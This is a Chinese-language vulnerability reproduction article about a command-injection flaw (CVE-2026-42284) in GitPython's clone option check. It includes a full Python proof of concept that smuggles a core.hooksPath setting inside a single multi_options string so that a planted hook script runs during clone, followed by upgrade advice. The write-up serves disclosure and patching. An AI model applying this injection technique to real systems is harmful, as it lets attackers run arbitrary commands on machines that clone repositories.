【漏洞复现】GitPython存在命令注入漏洞(CVE-2026-42284)

admin 2026-05-11 08:36:10 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: GitPython3.1.47之前版本存在命令注入漏洞(CVE-2026-42284),其clone()函数对multioptions参数校验不完整,攻击者可通过构造恶意配置参数在Git克隆过程中执行任意钩子脚本。漏洞复现步骤显示可成功注入whoami等系统命令,官方已在3.1.47版本修复该漏洞,建议用户立即升级至安全版本。 综合评分: 85 文章分类: 漏洞分析,安全工具,WEB安全,安全开发


cover_image

【漏洞复现】GitPython 存在命令注入漏洞(CVE-2026-42284)

信通云服

2026年5月8日 17:09 海南

在小说阅读器读本章

去阅读

【漏洞描述】

组件介绍

GitPython 是一个用于在 Python 中与 Git 库交互的库。它提供了对 Git 存储库的对象模型访问,支持大部分 Git 的读写操作,避免了频繁与 Shell 交互的复杂代码。

漏洞简介

GitPython 是一个用于操作 Git 仓库的 Python 库。在 3.1.47 之前版本中,_clone() 函数在校验 multi_options 参数时,只检查原始列表的第一个选项是否合法(例如以 –branch 开头),随后却将整个列表用空格拼接后再用 shlex.split() 拆分成实际命令。攻击者可构造类似 “–branch main –config core.hooksPath=/x” 的字符串通过校验,拆分后却变成 [“–branch”, “main”, “–config”, “core.hooksPath=/x”],导致 Git 在克隆时应用恶意配置并执行攻击者提供的钩子脚本。该漏洞已在 3.1.47 版本中修复。

【漏洞复现】

安装漏洞复现环境

1、创建虚拟环境。

python -m venv myenvsource myenv/bin/activate

2、安装 GitPython 3.1.44 版本。

pip install GitPython==3.1.44

3、使用 poc 通过尝试执行 whoami 与 hostname 命令来验证漏洞是否存在。

import sys, pathlib, subprocesssys.path.insert(0, str(pathlib.Path(__file__).resolve().parent))
from git import Repofrom git.exc import UnsafeOptionError
try:    Repo.clone_from("/nonexistent", "/tmp/x", multi_options=["--config", "core.hooksPath=/x"])except UnsafeOptionError:    print("multi_options=['--config', '...']: Block as expected")except Exception:    pass
DIR = pathlib.Path(__file__).resolve().parent / "workdir_b"SRC = DIR / "repo"DST = DIR / "dst"HOOKS = DIR / "hooks"LOG = DIR / "output.log"
if not SRC.exists():    SRC.mkdir(parents=True)    r = lambda *a: subprocess.run(a, cwd=SRC, capture_output=True)    r("git", "init", "-b", "main")    (SRC / "f").write_text("x\n")    r("git", "add", ".")    r("git", "commit", "-m", "init")
HOOKS.mkdir(exist_ok=True)hook = HOOKS / "post-checkout"hook.write_text(f"#!/bin/sh\nwhoami > {LOG.as_posix()}\nhostname >> {LOG.as_posix()}\n")hook.chmod(0o755)
LOG.unlink(missing_ok=True)payload = "--branch main --config core.hooksPath=" + HOOKS.as_posix()
try:    Repo.clone_from(str(SRC), str(DST), multi_options=[payload])except UnsafeOptionError:    print(f"multi_options=['{payload}']: BLOCKED"); sys.exit(1)except Exception:    pass
if not LOG.exists() and DST.exists():    subprocess.run(["git", "checkout", "--force", "main"], cwd=DST, capture_output=True)
print(f"multi_options=['{payload}']: not blocked")print(f"\nHook executed: {LOG.exists()}")if LOG.exists():    print(LOG.read_text().strip())

4、成功利用后,whoami 和 hostname 命令的执行结果将被返回。

【修复建议】

补丁版本>=3.1.47

【参考链接】

https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485

https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:信通云服 《【漏洞复现】GitPython 存在命令注入漏洞(CVE-2026-42284)》

评论:0   参与:  0